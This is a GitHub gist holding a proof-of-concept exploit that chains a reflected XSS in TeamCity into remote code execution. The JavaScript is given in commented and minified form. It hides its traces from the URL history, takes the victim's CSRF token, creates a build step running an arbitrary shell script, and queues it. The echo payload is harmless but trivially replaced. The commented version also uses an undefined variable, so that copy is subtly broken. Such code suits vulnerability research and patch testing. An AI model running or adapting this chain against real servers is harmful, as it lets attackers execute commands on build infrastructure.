Skip to content

Instantly share code, notes, and snippets.

@karanlyons
Last active December 19, 2019 21:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save karanlyons/cfd63ba1de3be290736190ba4dc59aae to your computer and use it in GitHub Desktop.
Save karanlyons/cfd63ba1de3be290736190ba4dc59aae to your computer and use it in GitHub Desktop.
TeamCity XSS RCE PoC
/*
* Use an IIFE for scoping and to save bytes on variable declarations and make some values
* easier to alter.
*/
((window, document, href, buildXHR, projectName, buildStepName, payload) => {
// Prevent running multiple times, as we're reflected multiple times.
if (window.payloadDropped) { return; } else { window.payloadDropped = 1; }
/*
* Suppress console errors from unmatched character pairs since we can't cleanly
* handle all cases.
*/
window.onerror = () => true;
window.addEventListener("DOMContentLoaded", () => {
// Remove our XSS payload from the address bar and history.
window.history.replaceState(
0,
document.title,
href.slice(0, href.indexOf("%27"))
);
const CSRFToken = document.querySelector(".tc-csrf-token-input").value;
// Create new job.
const editRunType = buildXHR(
`/admin/editRunType.html?`
+ `id=buildType%3A${projectName}`
+ `&runnerId=__NEW_RUNNER__`
+ `&submitBuildType=store`
);
editRunType.onloadend = () => {
// Add job to queue.
const ajax = buildXHR("/ajax.html");
ajax.setRequestHeader("X-TC-CSRF-Token", token);
ajax.send(
`add2Queue=${projectName}`
+ `&validate=true&redirectTo`
);
};
editRunType.send(
`runTypeInfoKey=simpleRunner`
+ `&buildStepName=${buildStepName}`
+ `&prop%3Ateamcity.step.mode=default`
+ `&prop%3Ause.custom.script=true`
+ `&prop%3Ascript.content=${payload}`
+ `&submitButton=Save`
+ `&tc-csrf-token=${CSRFToken}`
);
});
})(
window,
document,
location.href,
// buildXHR
path => {
const xhr = new XMLHttpRequest();
xhr.open("POST", path, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
return xhr;
},
// projectName (urlencoded & form-urlencoded; avoid spaces)
encodeURIComponent("Temporally_ArtifactProducer"),
// buildStepName (form-urlencoded)
encodeURIComponent("RCE Demo").replace(/%20/g, "+"),
// payload (form-urlencoded)
encodeURIComponent('echo "RCE via XSS"').replace(/%20/g, "+"),
);
((w,d,h,x,n)=>{w.p||(w.p=1,w.onerror=()=>1,w.addEventListener("DOMContentLoaded",()=>{w.history.replaceState(0,d.title,h.slice(0,h.indexOf("%27")));var t=d.querySelector(".tc-csrf-token-input").value,e=x(`/admin/editRunType.html?id=buildType%3A${n}&runnerId=__NEW_RUNNER__&submitBuildType=store`);e.onloadend=()=>{var a=x("/ajax.html");a.setRequestHeader("X-TC-CSRF-Token",t);a.send(`add2Queue=${n}&validate=true&redirectTo`);};e.send(`runTypeInfoKey=simpleRunner&buildStepName=RCE+Demo&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=echo+%22RCE+via+XSS%22&submitButton=Save&tc-csrf-token=${t}`)}))})(window,document,location.href,p=>{var x=new XMLHttpRequest();x.open("POST",p,1);x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");return x},"Temporally_ArtifactProducer")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment